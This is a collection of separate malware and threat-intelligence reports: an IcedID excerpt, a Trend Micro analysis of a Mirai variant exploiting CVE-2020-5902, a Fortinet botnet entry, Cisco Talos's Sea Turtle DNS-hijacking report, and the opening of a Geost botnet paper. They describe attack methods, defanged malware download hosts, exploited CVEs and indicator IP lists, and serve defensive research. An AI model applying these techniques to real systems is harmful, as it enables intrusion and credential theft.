made IcedID stealthier, modular and also more similar to TrickBot. In addition to its increased stealth level, IcedID started encrypting its binary file by obfuscating file names associated with its deployment on infected devices. Another TrickBot-inspired modification saw IcedID add event objects, which are a means to coordinate multiple threads of execution in Windows-based operating systems. IcedID began using named events to synchronize the execution between its core binary and the modular plugins it could fetch from its control server. Although malware authors do sometimes copy from one another, these modifications were not coincidental. Even if we only looked at the fact that TrickBot and IcedID fetch one another into infected devices, that would be indication enough that these Trojans are operated by teams that work together. X-Force data from 2018 placed IcedID in the top five most active banking Trojans on a global scale. The malware’s operators have links to other key cybergangs in the threat arena, and they have been using IcedID to actively target the customers of major banks, payment card providers, e-commerce companies and cryptocurrency platforms. X-Force researchers expect this malware to continue targeting banks and payment platforms as we move into the second quarter of 2019. Nir Somech Malware Researcher – Trusteer IBM Nir Somech is an engineer working as part of IBM X-Force research. He specializes in researching attacks targeting the financial threat landscape.
# Mirai Botnet Attack IoT Devices via CVE-2020-5902 **Update as of 10:00 A.M. PST, July 30, 2020:** Our continued analysis of the malware sample showed adjustments to the details involving the URI and Shodan scan parameters. We made the necessary changes in this post. We would like to thank F5 Networks for reaching out to us to clarify these details. Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we continued monitoring and analyzing the vulnerabilities and other related activities to further understand their severities. Based on the workaround published for CVE-2020-5902, we found an Internet of Things (IoT) Mirai botnet downloader (detected by Trend Micro as Trojan.SH.MIRAI.BOI) that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload. The samples we found also try to exploit recently disclosed and potentially unpatched vulnerabilities in commonly used devices and software. System administrators and individuals using the related devices are advised to patch their respective tools immediately. As previously reported, the security bug involves a remote code execution (RCE) vulnerability in the management interface of BIG-IP known as the Traffic Management User Interface (TMUI). After analyzing the published information, we noticed from the mitigation rule in Apache httpd that a possible way to exploit this vulnerability involves an HTTP GET request containing a semicolon character in the URI. In a Linux command line, a semicolon signals to the interpreter that a command line has finished, and it is a character the vulnerability needs to be triggered. To further our analysis, we tested if an IoT botnet author can add a scanning capability to existing and/or new malware variants via this Yara rule: **Yara rule to check for malware** While the rule used for testing seems simple, it allowed us a broad range of malware, Python, or Ruby proofs of concept (PoC) to check against. From the disclosure date of July 1, we found the first sample of an ELF file compiled to an MIPS architecture on July 11 that identified two addresses: hxxp[:]//79[.]124[.]8[.]24/bins/ (identified as the disease vector) and hxxp[:]//78[.]142[.]18[.]20 (identified as the command and control (C&C) server). A common pattern with IoT malware like Mirai is finding different files hosted in one domain with different extensions meant to attack different architectures. Upon checking the host, we found the following files: **Files hosted in the C&C** | Hash | File | |------------------------------------------------------------------------------------------------|--------------| | acb930a41abdc4b055e2e3806aad85068be8d85e0e0610be35e784bfd7cf5b0e | fetch.sh | | 037859323285e0bbbc054f43b642c48f2826924149cb1c494cbbf1fc8707f942 | sora.arm5 | | 55c4675a84c1ee40e67209dfde25a5d1c1979454ec2120047026d94f64d57744 | sora.arm6 | | 03254e6240c35f7d787ca5175ffc36818185e62bdfc4d88d5b342451a747156d | sora.arm7 | | 204cbad52dde24ab3df41c58021d8039910bf7ea07645e70780c2dbd66f7e90b | sora.m68k | | 3f8e65988b8e2909f0ea5605f655348efb87565566808c29d136001239b7dfa9 | sora.mips | | 15b2ee07246684f93b996b41578ff32332f4f2a60ef3626df9dc740405e45751 | sora.mpsl | | 0ca27c002e3f905dddf9083c9b2f8b3c0ba8fb0976c6a06180f623c6acc6d8ca | sora.ppc | | ecc1e3f8332de94d830ed97cd07867b90a405bc9cc1b8deccec51badb4a2707c | sora.sh4 | | e71aca778ea1753973b23e6aa29d1445f93dc15e531c706b6165502d6cf0bfa4 | sora.x86 | Looking into the IP addresses further, we learned that since June, it had already been used to deploy IoT malware, including other Mirai variants. The SORA file names have been previously identified as a Mirai variant that can be used for brute-force attacks and the abuse of other vulnerabilities for RCE and unauthorized control and management of devices. Meanwhile, fetch.sh is a shell script with the following content: **fetch.sh shellscript** fetch.sh connects to http[:]//79[.]124[.]8[.]24/bins/sora.{architecture} to download and execute the applicable malicious binary named “sysctl”. Simultaneously, fetch.sh also creates cron jobs to enable automatic execution of the downloaded binary. **Creating cron jobs** The script uses the iptables tool to drop any packets to popularly used transmission control protocol (TCP) ports such as default ports for Telnet, Secure Shell (SSH), and the device web panel (HTTP). This may have two different implications: - No other malware will have direct access to exposed services in the infected device. - The device owner will not be able to access the management interface. This is also reminiscent of implications cited in our recent research paper for the control of IoT devices currently connected. By analyzing the x86 sample of this botnet, we realized its attempts at exploiting vulnerable BIG-IP boxes as it sends a GET request to the victim port 443/TCP (HTTPS): **GET request for exploit of CVE-2020-5902** Given the severity of the flaw, a simple GET request with a “command” parameter to tmshCmd.jsp would be enough to remotely execute a command in an infected device if the ID path is correctly prepended to it. **Other exploits abused** We also found, upon checking the variant further, that it tries to exploit recently disclosed and discovered vulnerabilities in randomly generated targets. Here is the full list of exploits used by this variant: **Other exploits used by other samples** | Device | Vulnerability | CVE Identification | |----------------------------------------------------------------|---------------------------------|--------------------| | Apache Kylin 3.0.1 | Command Injection | CVE-2020-1956 | | Aruba ClearPass Policy Manager 6.7.0 | Unauthenticated Remote Command | CVE-2020-7115 | | | Execution | | | Big-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 | TMUI Remote Code Execution | CVE-2020-5902 | | Comtrend VR-3033 | Command Injection | CVE-2020-10173 | | HP LinuxKI 6.01 | Remote Command Injection | CVE-2020-7209 | | Tenda AC15 AC1900 | Remote Code Execution | CVE-2020-10987 | | Nexus Repository Manager 3 | Remote Code Execution | CVE-2020-10204 | | Netlink GPON Router 1.0.11 | Remote Code Execution | N/A | | Netgear R7000 Router | Remote Code Execution | N/A | | Sickbeard 0.1 | Remote Command Injection | N/A | ## Conclusion and security recommendations F5 Networks caters to a number of enterprises for networking devices, with BIG-IP as one of the most popular products in use by governments and companies, especially given the abrupt work-from-home arrangements today. It affects a wide range of products and versions, including the most recently released ones close to the vulnerability’s disclosure date. With CVE-2020-5902 receiving a rating of 10 in the Common Vulnerability Scoring System (CVSS) v3.0 vulnerability scale, the vulnerability also indicates that the security gap itself is easy to abuse online and automate. Moreover, it does not require credentials or advanced coding skills to exploit. That said, F5 has already published an informative and detailed mitigation procedure in order to deny requests containing a semicolon. To add, while the default settings do not expose the management interface to the public, our Shodan scan showed approximately 7,000 exposed hosts online (considering the ones listening on ports 443 and 8443 only). By “exposed” we mean “accessible from the Internet”, but not with certainty that the said hosts are vulnerable. Recognizing the severity of the security flaw, the Department of Defense’s Cyber Command issued a tweet three days after the disclosure, advising immediate remediation of the vulnerability. Given the vulnerability’s disclosure date and the number of days it took for an exploit to be at large (10 days), it appears as if the malicious actors are paying close attention to the most recent disclosures and reports to come up with their own exploits. While some of these vulnerabilities were only discussed in blog posts and not announced as publicly available exploit codes, these cybercriminals are aware of two things: first, manufacturers have yet to come up with the corresponding patches, and second, system administrators have yet to download and implement the released fixes in the equivalent duration. System administrators and security teams can protect IoT devices from these types of threats with some of these best practices: - Ensure that IoT devices’ firmware run on the latest versions by constantly monitoring manufacturers’ releases. - Use a virtual private network (VPN) to prevent exposing any management interfaces directly to the internet. - Employ network segmentation to limit the spread of infections and customize the security settings of devices. - Ensure that there is a network traffic monitoring and detection system with a good Web Application Firewall (WAF) in place. This is to track baseline and abnormal ranges of usage to protect management interfaces that are accessible online. - Install a multilayered protection system that can detect, block, and prevent threats such as brute-force attacks that abuse security flaws like these for entry. Connected devices can also be protected by security software such as the Trend Micro™ Home Network Security and Trend Micro™ Home Network Security SDK solutions, which can check internet traffic between the router and all connected devices as well as help users assess for vulnerabilities. **Indicators of Compromise (IOCs)** Please see the complete list of IoCs here. **Exploits & Vulnerabilities** Based on the workaround published for CVE-2020-5902, we found a Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload. *By: Fernando Merces, Augusto Remillano II, Jemimah Molina* *July 28, 2020*
# Threat Encyclopedia **ID:** 7630456 **Created:** Feb 28, 2019 **Description Updated:** Sep 11, 2019 **Platform:** Win32 ## EmpireMonkey Malware Distribution ### Brief This botnet is a type of malware bot that may perform many malicious tasks, such as downloading and executing additional malware, receiving commands from a control server and relaying specific information and telemetry back to the control server, updating or deleting itself, stealing login and password information, logging keystrokes, participating in a Distributed Denial of Service (DDoS) attack, or locking and encrypting the contents of your computer and demanding payment for its safe return. ### Symptoms Some possible symptoms include, but are not limited to: - Inability to restart the computer in safe mode - Inability to open the Windows registry editor - Inability to open the Windows task manager - Modification or deletion of certain registry entries - Significant increase in disk activity - Significant increase in network traffic - Connection attempts to known malicious IP addresses - Creation of new files and directories with obfuscated or random names ### Analysis A detailed analysis of this specific malware bot is not currently available. Fortinet's team of AV and bot analysts will update this page when a complete analysis is available. ### Instructions It is not recommended that any attempts to remove this malware be performed manually. Fortinet recommends that you remove this threat by running a complete scan of your system using FortiClient Endpoint Protection.
# DNS Hijacking Abuses Trust In Core Internet Service **Authors:** Danny Adamitis, David Maynor, Warren Mercer, Matthew Olney, and Paul Rascagneres. **Update 4/18:** A correction has been made to our research based on feedback from Packet Clearing House; we thank them for their assistance. ## Preface This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident primarily targets national security organizations in the Middle East and North Africa, we are concerned that the success of this operation will lead to broader attacks on the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have in the internet. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly. ## Executive Summary Cisco Talos has discovered a new cyber threat campaign called "Sea Turtle," targeting public and private entities, including national security organizations, primarily in the Middle East and North Africa. The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019. Our investigation revealed that at least 40 different organizations across 13 different countries were compromised during this campaign. We assess with high confidence that this activity is being carried out by an advanced, state-sponsored actor seeking persistent access to sensitive networks and systems. The actors behind this campaign have focused on using DNS hijacking as a mechanism for achieving their objectives. DNS hijacking occurs when the actor illicitly modifies DNS name records to point users to actor-controlled servers. The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24, 2019, warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names. In the Sea Turtle campaign, Talos identified two distinct groups of victims. The first group, identified as primary victims, includes national security organizations, ministries of foreign affairs, and prominent energy organizations. The threat actor targeted third-party entities that provide services to these primary entities to obtain access. Secondary victims include numerous DNS registrars, telecommunication companies, and internet service providers. One notable aspect of this campaign was how they performed DNS hijacking of their primary victims by first targeting these third-party entities. We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage, which we reported on in November 2018. The Sea Turtle campaign poses a more severe threat than DNSpionage given the actor's methodology in targeting various DNS registrars and registries. The level of access presumed necessary to engage in DNS hijacking successfully indicates an ongoing, high degree of threat to organizations in the targeted regions. Due to the effectiveness of this approach, we encourage all organizations globally to ensure they have taken steps to minimize the possibility of malicious actors duplicating this attack methodology. The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors. The actors are responsible for the first publicly confirmed case against an organization that manages a root server zone, highlighting the attacker's sophistication. Notably, the threat actors have continued their attacks despite public reports documenting various aspects of their activity, suggesting they are unusually brazen and may be difficult to deter going forward. This post provides the technical findings typically seen in a Talos blog. We will also offer commentary on the threat actor's tradecraft, including possible explanations about the actor's attack methodology and thought process. Finally, we will share the IOCs that we have observed thus far, although we are confident there are more that we have not seen. ## Background on Domain Name Services and Records Management The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space. This section provides a brief overview of where DNS records are managed and how they are accessed to help readers better understand how these events unfolded. The first and most direct way to access an organization's DNS records is through the registrar with the registrant's credentials. These credentials are used to log in to the DNS provider from the client-side, which is a registrar. If an attacker compromises an organization's network administrator credentials, they can change that organization's DNS records at will. The second way to access DNS records is through a DNS registrar, sometimes called registrar operators. A registrar sells domain names to the public and manages DNS records on behalf of the registrant through the domain registry. Records in the domain registry are accessed through the registry application using the Extensible Provisioning Protocol (EPP). If attackers obtain one of these EPP keys, they can modify any DNS records managed by that particular registrar. The third approach to gain access to DNS records is through one of the registries. These registries manage any known TLD, such as entire country code top-level domains (ccTLDs) and generic top-level domains (gTLDs). For example, Verisign manages all entities associated with the top-level domain (TLD) ".com." The domain registry root is stored on 13 named authorities in the delegation data for the root zone, according to ICANN. Finally, actors could target root zone servers to modify the records directly. It is important to note that there is no evidence during this campaign (or any other we are aware of) that the root zone servers were attacked or compromised. The root DNS servers issued a joint statement that stated, "There are no signs of lost integrity or compromise of the content of the root [server] zone… There are no signs of clients having received unexpected responses from root servers." ## Assessed Sea Turtle DNS Hijacking Methodology It is important to remember that DNS hijacking is merely a means for the attackers to achieve their primary objective. Based on observed behaviors, we believe the actor ultimately intended to steal credentials to gain access to networks and systems of interest. To achieve their goals, the actors behind Sea Turtle: 1. Established a means to control the DNS records of the target. 2. Modified DNS records to point legitimate users of the target to actor-controlled servers. 3. Captured legitimate user credentials when users interacted with these actor-controlled servers. ## Operational Tradecraft ### Initial Access The threat actors behind the Sea Turtle campaign gained initial access either by exploiting known vulnerabilities or by sending spear-phishing emails. Talos believes that the threat actors have exploited multiple known CVEs to either gain initial access or to move laterally within an affected organization. Based on our research, we know the actor utilizes the following known exploits: - CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin - CVE-2014-6271: RCE affecting GNU bash system, specifically the SMTP (part of the Shellshock CVEs) - CVE-2017-3881: RCE by unauthenticated user with elevated privileges on Cisco switches - CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 - CVE-2017-12617: RCE affecting Apache web servers running Tomcat - CVE-2018-0296: Directory traversal allowing unauthorized access to Cisco Adaptive Security Appliances (ASAs) and firewalls - CVE-2018-7600: RCE for websites built with Drupal, aka "Drupalgeddon" As of early 2019, the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure. On January 4, Packet Clearing House, which is not an Internet exchange point but rather an NGO providing support to Internet exchange points and the core of the domain name system, confirmed that its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar. As with any initial access involving a sophisticated actor, we believe this list of CVEs to be incomplete. The actor can leverage known vulnerabilities as they encounter a new threat surface. This list only represents the observed behavior of the actor, not their complete capabilities. ### Globalized DNS Hijacking Activity as an Infection Vector During a typical incident, the actor would modify the NS records for the targeted organization, pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries. The amount of time that the targeted DNS record was hijacked can range from a couple of minutes to a couple of days. This type of activity could give an attacker the ability to redirect any victim who queried for that particular domain around the world. Other cybersecurity firms previously reported some aspects of this activity. Once the actor-controlled name server was queried for the targeted domain, it would respond with a falsified "A" record that would provide the IP address of the actor-controlled MitM node instead of the legitimate service. In some instances, the threat actors modified the time-to-live (TTL) value to one second to minimize the risk of any records remaining in the DNS cache of the victim machine. During 2019, we observed the following name servers being used in support of the Sea Turtle campaign: - **ns1.intersecdns.com**: March - April 2019 - **ns2.intersecdns.com**: March - April 2019 - **ns1.lcjcomputing.com**: January 2019 - **ns2.lcjcomputing.com**: January 2019 ### Credential Harvesting: Man-in-the-Middle Servers Once the threat actors accessed a domain's DNS records, the next step was to set up a man-in-the-middle (MitM) framework on an actor-controlled server. The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials. Once these credentials were captured, the user would then be passed to the legitimate service. To evade detection, the actors performed "certificate impersonation," a technique in which the attacker obtained a certificate authority-signed X.509 certificate from another provider for the same domain imitating the one already used by the targeted organization. This tactic would make detecting the MitM attack more difficult, as a user's web browser would still display the expected "SSL padlock" in the URL bar. When the victim entered their password into the attacker's spoofed webpage, the actor would capture these credentials for future use. The only indication a victim received was a brief lag between when the user entered their information and when they obtained access to the service. This would also leave almost no evidence for network defenders to discover, as legitimate network credentials were used to access the accounts. In addition to the MitM server IP addresses published in previous reports, Talos identified 16 additional servers leveraged by the actor during the observed attacks. The complete list of known malicious IP addresses is in the Indicators of Compromise (IOC) section below. ### Credential Harvesting with Compromised SSL Certificates Once the threat actors appeared to have access to the network, they stole the organization's SSL certificate. The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials. This allowed the actors to expand their access into the targeted organization's network. The stolen certificates were typically only used for less than one day, likely as an operational security measure. Using stolen certificates for an extended period would increase the likelihood of detection. In some cases, the victims were redirected to these actor-controlled servers displaying the stolen certificate. One notable aspect of the campaign was the actors' ability to impersonate VPN applications, such as Cisco Adaptive Security Appliance (ASA) products, to perform MitM attacks. At this time, we do not believe that the attackers found a new ASA exploit. Rather, they likely abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network. This MitM capability would allow the threat actors to harvest additional VPN credentials. As an example, DNS records indicate that a targeted domain resolved to an actor-controlled MitM server. The following day, Talos identified an SSL certificate with the subject common name of "ASA Temporary Self Signed Certificate" associated with the aforementioned IP address. This certificate was observed on both the actor-controlled IP address and on an IP address correlated with the victim organization. In another case, the attackers were able to compromise NetNod, a non-profit, independent internet infrastructure organization based in Sweden. NetNod acknowledged the compromise in a public statement on February 5, 2019. Using this access, the threat actors were able to manipulate the DNS records for sa1.dnsnode.net. This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa). It is likely that there are additional Saudi Arabia-based victims from this attack. In one of the more recent campaigns on March 27, 2019, the threat actors targeted the Sweden-based consulting firm Cafax. On Cafax's public webpage, the company states that one of their consultants actively manages the i.root-server.net zone. NetNod managed this particular DNS server zone. We assess with high confidence that this organization was targeted in an attempt to re-establish access to the NetNod network, which was previously compromised by this threat actor. ## Primary and Secondary Victims We identified 40 different organizations that have been targeted during this campaign. The victim organizations appear to be broadly grouped into two different categories. The first group of victims, referred to as primary victims, were almost entirely located in the Middle East and North Africa. Examples of compromised organizations include: - Ministries of foreign affairs - Military organizations - Intelligence agencies - Prominent energy organizations The second cluster of victim organizations were likely compromised to help enable access to these primary targets. These organizations were located around the world; however, they were mostly concentrated in the Middle East and North Africa. Examples of compromised organizations include: - Telecommunications organizations - Internet service providers - Information technology firms - Registrars - One registry Notably, the threat actors gained access to registrars that manage ccTLDs for Amnic, which is listed as the technical contact on IANA for the ccTLD .am. Obtaining access to this ccTLD registrar would have allowed attackers to hijack any domain that used those ccTLDs. ## How is This Tradecraft Different? The threat actors behind the Sea Turtle campaign have proven to be highly capable, as they have been able to perform operations for over two years and have been undeterred by public reports documenting various aspects of their activity. This cyber threat campaign represents the first known case of a domain name registry organization that was compromised for cyber espionage operations. To distinguish this activity from previous reporting on other attackers, such as those affiliated with DNSpionage, below is a list of traits unique to the threat actors behind the Sea Turtle campaign: - These actors perform DNS hijacking through the use of actor-controlled name servers. - These actors have been more aggressive in their pursuit, targeting DNS registries and a number of registrars, including those that manage ccTLDs. - These actors use Let's Encrypt, Comodo, Sectigo, and self-signed certificates in their MitM servers to gain the initial round of credentials. - Once they have access to the network, they steal the organization's legitimate SSL certificate and use it on actor-controlled servers. ## Why Was It So Successful? We believe that the Sea Turtle campaign continues to be highly successful for several reasons. First, the actors employ a unique approach to gain access to the targeted networks. Most traditional security products such as IDS and IPS systems are not designed to monitor and log DNS requests. The threat actors achieved this level of success because the DNS domain space system added security into the equation as an afterthought. Had more ccTLDs implemented security features such as registrar locks, attackers would be unable to redirect the targeted domains. The threat actors also used an interesting technique called certificate impersonation. This technique was successful in part because the SSL certificates were created to provide confidentiality, not integrity. The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials, allowing the actors to gain access to the targeted network. The threat actors maintained long-term persistent access to many of these networks by utilizing compromised credentials. We will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed. ## Mitigation Strategy To best protect against this type of attack, we compiled a list of potential actions. Talos suggests using a registry lock service, which will require an out-of-band message before any changes can occur to an organization's DNS record. If your registrar does not offer a registry lock service, we recommend implementing multi-factor authentication, such as DUO, to access your organization's DNS records. If you suspect you were targeted by this type of activity intrusion, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network. Lastly, we recommend applying patches, especially on internet-facing machines. Network administrators can monitor passive DNS records on their domains to check for abnormalities. ## Coverage - **CVE-2009-1151:** PHP code injection vulnerability affecting phpMyAdmin - **CVE-2014-6271:** RCE affecting GNU bash system, specifically the SMTP (part of the Shellshock CVEs) - **CVE-2017-3881:** RCE for Cisco switches - **CVE-2017-6736:** Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 - **CVE-2017-12617:** RCE affecting Apache web servers running Tomcat - **CVE-2018-0296:** Directory traversal to gain unauthorized access to Cisco Adaptive Security Appliances (ASAs) and firewalls - **CVE-2018-7600:** RCE for websites built with Drupal, aka "Drupalgeddon" ## Indicators of Compromise The threat actors utilized leased IP addresses from organizations that offer virtual private server (VPS) services. These VPS providers have since resold many of these IP addresses to various benign customers. To help network defenders, we have included the IP address, as well as the month(s) that the IP address was associated with the threat actor. | IP Address | Month | Year | Country of Targets | |---------------------|---------------------------|------|-----------------------------------------| | 199.247.3.191 | November | 2018 | Albania, Iraq | | 37.139.11.155 | November | 2018 | Albania, UAE | | 185.15.247.140 | January | 2018 | Albania | | 206.221.184.133 | November | 2018 | Egypt | | 188.166.119.57 | November | 2018 | Egypt | | 185.42.137.89 | November | 2018 | Albania | | 82.196.8.43 | October | 2018 | Iraq | | 159.89.101.204 | December - January | 2018-2019 | Turkey, Sweden, Syria, Armenia, US | | 146.185.145.202 | March | 2018 | Armenia | | 178.62.218.244 | December - January | 2018-2019 | UAE, Cyprus | | 139.162.144.139 | December | 2018 | Jordan | | 142.54.179.69 | January - February | 2017 | Jordan | | 193.37.213.61 | December | 2018 | Cyprus | | 108.61.123.149 | February | 2019 | Cyprus | | 212.32.235.160 | September | 2018 | Iraq | | 198.211.120.186 | September | 2018 | Iraq | | 146.185.143.158 | September | 2018 | Iraq | | 146.185.133.141 | October | 2018 | Libya | | 185.203.116.116 | May | 2018 | UAE | | 95.179.150.92 | November | 2018 | UAE | | 174.138.0.113 | September | 2018 | UAE | | 128.199.50.175 | September | 2018 | UAE | | 139.59.134.216 | July - December | 2018 | United States, Lebanon | | 45.77.137.65 | March - April | 2019 | Syria, Sweden | | 142.54.164.189 | March - April | 2019 | Syria | | 199.247.17.221 | March | 2019 | Sweden | The following list contains the threat actor name server domains and their IP address. | Domain | Active Timeframe | IP Address | |-------------------------------|-------------------------|---------------------| | ns1.intersecdns.com | March - April 2019 | 95.179.150.101 | | ns2.intersecdns.com | March - April 2019 | 95.179.150.101 | | ns1.lcjcomputing.com | January 2019 | 95.179.150.101 | | ns2.lcjcomputing.com | January 2019 | 95.179.150.101 |
# Geost Botnet: The Story of the Discovery of a New Android Banking Trojan from an OpSec Error **Sebastian García** Stratosphere Laboratory and Czech Technical University in Prague, Czech Republic **Maria Jose Erquiaga** Stratosphere Laboratory and UNCUYO University, Argentina **Anna Shirokova** Avast Software, Czech Republic ## Abstract Maintaining good operational security (OpSec) is difficult because it increases the cost of work and decreases the speed of actions. This is true for both security analysts and attackers. This paper describes a new botnet, called Geost, discovered due to multiple OpSec mistakes made by the attackers. The mistakes included: the use of the HtBot malware’s illegal proxy network; failing to encrypt the command-and-control servers; re-using security services; trusting other attackers with poor operational security; and failing to encrypt chat sessions. The Geost botnet has hundreds of malicious domains, 13 C&C servers, approximately 800,000 victims in Russia, and potential access to several million Euros in bank accounts. The operational security mistakes led to the discovery of the names of members of an underground group related to the Geost botmasters. This paper summarizes the mistakes and risks taken by the botmasters, provides an overview of the botnet operation, an analysis of the victims, and a study of the social relationships of the developers. ## 1. Introduction It has always been difficult to know exactly how botnet owners (botmasters) operate. Understanding the details of their decisions, seeing inside their command-and-control (C&C) channels, and glimpsing into their conversations is complex. The main reasons for this difficulty are: 1. Malware authors maintain some degree of operational security (OpSec) to hide information. 2. C&C channels use evasive techniques, such as random domain names, overwhelming analysts with information. 3. It may not be legally possible for analysts to access data and communications in remote servers. OpSec failures have led to multiple important discoveries in cybersecurity. OpSec can be defined as a risk management process that encourages managers to view operations from the perspective of an adversary to protect sensitive information. Problems in OpSec are not limited to technical mistakes but include errors in evaluating risks and the countermeasures applied for protection. This paper presents a rare case of a chain of OpSec mistakes leading to the discovery of a new Android banking botnet targeting Russian citizens. The discovery was made when the botmasters decided to trust a malicious proxy network called HtBot. Our security laboratory had been running samples of the HtBot malware for months when a traffic analysis revealed a group of infected computers managing infected Android phones. The HtBot malware provides a proxy service that can be rented for malicious activity. Our analysis of this HtBot communication led to the discovery of a large operation infecting Android-based phones. After the initial discovery of the Geost botnet, the analysis method involved extracting more information about the attacks, victims, operations, capabilities, and the group of developers related to the Geost botnet. Using pivoting techniques of threat hunting, it was possible to uncover the C&C channels, domains, and IP addresses. Given that more than 72,600 victims were uncovered in just one C&C server, and there are at least 13 C&C channels, a conservative estimate of the total number of victims was calculated at 871,200. The OpSec failures of the Geost botmasters were significant enough to allow us to recover a large amount of information. First, the attackers had a flawed risk model when choosing the appropriate communication platform. They trusted an illegal proxy network, unaware that it was being monitored by our laboratory. Second, the botmasters didn’t protect their communications with several layers of encryption protocols, allowing us to see the content of their communications. Third, a leaked document on a public website detailed the chatting activities of a group of developers working on the C&C website of the botnet. Fourth, the chat log revealed that credentials were commonly passed unencrypted, providing access to important information. In summary, a chain of small mistakes was enough to disclose the operation of a large Android banking botnet. This paper makes the following novel contributions: - Describes for the first time and names the Geost botnet, previously unknown to the security community. - Provides an analysis of the OpSec mistakes that led to the discovery of a cybercrime group operating in Russian-speaking countries. - Describes the complete infrastructure of the botnet and its victims. - Publishes indicators of compromise (IoCs) and information to enable the community to act upon the Geost botnet. - Performs a social analysis of the discovered cybercriminal group. - Makes available for the research community, upon request, all datasets related to the discovery of the Geost botnet. The remainder of this paper is organized as follows: Section 2 analyses previous work in this area; Section 3 describes the discovery of the Geost botnet; Section 4 shows how the botnet operates; Section 5 analyses the infrastructure of the botnet; Section 6 studies the victims; Section 7 discusses the attackers, botmasters, and developers; and Section 8 presents our conclusions. ## 2. Previous Work There are several examples of mistakes made by malware authors that have led to the discovery of their identities. However, they are usually regarded as technical mistakes rather than OpSec problems. Technical mistakes are often discovered due to poor OpSec criteria, such as code review. OpSec problems are hard to mitigate and usually lead to the discovery of how botmasters operate or who they are. Good OpSec can protect the user, but small mistakes can be costly. One famous OpSec incident was that of Guccifer 2.0, who attacked the Democratic National Committee in the US. Their real affiliation was confirmed when they apparently failed to activate their VPN during a login process. A similar case was the identification of Ross Ulbricht, the owner of the Silk Road drug-selling site, who was found because he used his personal email account to register other accounts related to his illegal site. Although good OpSec is possible, cybercriminals also make mistakes that put them in jeopardy. Practicing good OpSec is hard, especially when others force mistakes. In 2009, the Mariposa botmasters were captured because they connected to their servers directly from their homes. They usually used VPN services, but after the police took their servers down, they panicked and connected insecurely. This paper analyzes OpSec mistakes committed by a group of attackers while managing part of a botnet. Regarding previous work on the Geost botnet, the only previous unnamed reference found was a post from September 2017 on the blog site Virqdroid. This blog post analyzed one of the malware’s APK files, showed its technical qualities, and reported the IoCs. However, the blog lacked data about the threat, attackers, and victims, preventing conclusions about the operation's size or the identity of the Android banking botnet. The most well-studied part of Android banking trojans are the binaries themselves, as they are the first contact with the security community and usually the only source of information. The number of binaries related to Android banking trojans suggests that these threats have been rising during 2017 and 2018, although no scientific study has focused on a systematic analysis of the problem. Android banking malware is too numerous to describe, but a few important mentions can be made. In the early 2000s, trojans like Perkele and ibanking were well known for using SMS as a communication channel. From 2014, a new era of banking botnets emerged with the appearance of Slempo, Marcher, Shiz, BankBot, and MazarBOT. Their infection techniques, C&C protocols, and attacks were significantly improved. Analyzing a malware binary is useful, but network traffic provides a different perspective. Although some binary analysis may reveal network traffic, capturing traffic from the botmaster’s actions is very difficult. This paper shows a novel discovery of real botmasters’ actions while using their C&C servers. ## 3. Discovery The Geost Android banking botnet was discovered as part of a larger malware analysis operation in our laboratory. During an experiment with a sample of the HtBot malware, the traffic analysis revealed an unusual communication pattern. HtBot operates by converting its victims into unwilling private illegal Internet proxies. The infected victims relay communications from HtBot users to the Internet. HtBot is regarded as an underground proxy network that is difficult for security analysts to tap, as its traffic is continually redirected to new victims. Users of the HtBot network pay the botmasters for high-speed, semi-private communications for their operations. Our laboratory was running and monitoring HtBot bots communicating with the Internet. Since these bots offered illegal proxy connections, it was possible to capture all the traffic from the illegal users to the Internet. During the analysis of the network traffic, a pattern was discovered, which turned out to be the content of the C&C communication channel of the new Geost botnet. The analysis of the HtBot malware traffic revealed a pattern due to two features: the large amount of traffic transferred and the lack of encryption. Transfers of such large amounts of unencrypted data are uncommon in a normal network. The use of unencrypted web servers for the C&C operation was the second OpSec mistake made by the botmasters. It is unclear why they neglected to use TLS encryption, as it is free and easy to install. The main hypothesis is that they may have had many C&C servers, and managing certificates for all would have been time-consuming. The OpSec decision of the Geost botmasters to use the HtBot proxy botnet is believed to be based on the idea that an illegal proxy network may have better security than alternatives like the Tor network, a commercial VPN, or their own compromised servers. The Tor network was likely discarded as a bad OpSec choice since it is known to be monitored. The option of a commercial VPN has the disadvantage of trusting a private company that may be forced to submit its logs to authorities. The third option, compromised servers, may be the best from an OpSec point of view, but it would involve extending the current Android banking botnet with another layer of servers, infections, malware, monitoring, and maintenance, which is more costly. The decision to use the HtBot network may have seemed wise since it does not belong to a company, is not usually monitored, and handles its own maintenance. Ultimately, the decision to use the HtBot network was the first operational security mistake, indicating that the botmasters did not correctly evaluate the balance of probabilities and cost-benefit analysis. ## 4. Botnet Operations The main advantage of accessing the botmasters’ traffic while using the HtBot network was the possibility of a deep study of the attackers’ decisions and actions. The analysis helped identify a large botnet infrastructure, measure the operation's size, and determine the 